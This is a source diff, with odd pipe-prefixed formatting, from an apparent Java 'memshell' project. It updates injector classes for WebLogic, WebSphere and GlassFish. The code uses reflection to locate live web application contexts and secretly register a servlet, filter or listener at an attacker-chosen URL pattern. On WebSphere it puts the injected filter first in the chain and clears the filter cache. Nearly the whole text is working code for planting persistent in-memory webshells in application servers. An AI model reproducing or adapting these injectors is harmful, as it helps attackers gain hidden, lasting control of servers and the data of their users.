|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Set<Object> getContext() {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
@@ -1,15 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import javax.servlet.Servlet;
|
import javax.servlet.Servlet;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -45,7 +45,7 @@ public class WebLogicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -80,88 +80,39 @@ public class WebLogicServletInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
|
*/
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
theOneMethod.setAccessible(true);
|
String key = entry.getKey();
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
Object value = entry.getValue();
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
|
||||||
for (Object componentRuntime : childrenSet) {
|
|
||||||
try {
|
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Set<Object> getContext() {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.websphere;
|
package com.reajason.javaweb.memshell.injector.websphere;
|
||||||
|
|
||||||
import javax.servlet.Filter;
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -9,14 +8,12 @@ import java.lang.reflect.Constructor;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* tested v7、v8
|
|
||||||
* update 2023/07/08
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class WebSphereFilterInjector {
|
public class WebSphereFilterInjector {
|
||||||
@@ -46,7 +43,7 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -87,11 +84,32 @@ public class WebSphereFilterInjector {
|
|||||||
*/
|
*/
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -99,8 +117,9 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -132,43 +151,42 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Object webAppConfiguration = getFieldValue(context, "config");
|
Object webAppConfig = getFieldValue(context, "config");
|
||||||
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||||
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||||
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||||
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
|
||||||
|
|
||||||
Object filterManager = getFieldValue(context, "filterManager");
|
Object filterManager = getFieldValue(context, "filterManager");
|
||||||
|
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
setFieldValue(filterConfig, "name", getClassName());
|
||||||
|
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||||
|
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||||
|
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||||
|
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
|
||||||
|
|
||||||
try {
|
try {
|
||||||
// v8
|
List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
|
||||||
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
uriFilterMappingInfos.remove(filterMapping);
|
||||||
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
|
uriFilterMappingInfos.add(0, filterMapping);
|
||||||
setFieldValue(context, "initialized", false);
|
|
||||||
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
|
|
||||||
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
|
||||||
setFieldValue(context, "initialized", true);
|
|
||||||
|
|
||||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
|
|
||||||
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
|
||||||
|
|
||||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
|
|
||||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// v7
|
// WebSphere7
|
||||||
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
|
||||||
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
|
Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
|
||||||
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
|
uriFilterMappings.add(0, fmInfo);
|
||||||
setFieldValue(filterConfig, "name", getClassName());
|
|
||||||
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
|
|
||||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 清除缓存
|
// 清除缓存
|
||||||
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
|
Object chainCache = getFieldValue(filterManager, "chainCache");
|
||||||
|
try {
|
||||||
|
invokeMethod(chainCache, "clear", null, null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -176,6 +194,19 @@ public class WebSphereFilterInjector {
|
|||||||
return msg;
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// bypass osgi
|
||||||
|
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
|
||||||
|
if (context.equals(Object.class)) {
|
||||||
|
throw new ClassNotFoundException(className);
|
||||||
|
}
|
||||||
|
ClassLoader loader = context.getClassLoader();
|
||||||
|
try {
|
||||||
|
return loader.loadClass(className);
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
return loadClass(context.getSuperclass(), className);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
Exception {
|
Exception {
|
||||||
@@ -255,13 +286,9 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
try {
|
Field field = getField(obj, name);
|
||||||
Field field = getField(obj, name);
|
field.setAccessible(true);
|
||||||
field.setAccessible(true);
|
return field.get(obj);
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -38,7 +37,7 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,11 +74,32 @@ public class WebSphereListenerInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -87,8 +107,9 @@ public class WebSphereListenerInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Properties;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
|
|||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
|
|||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
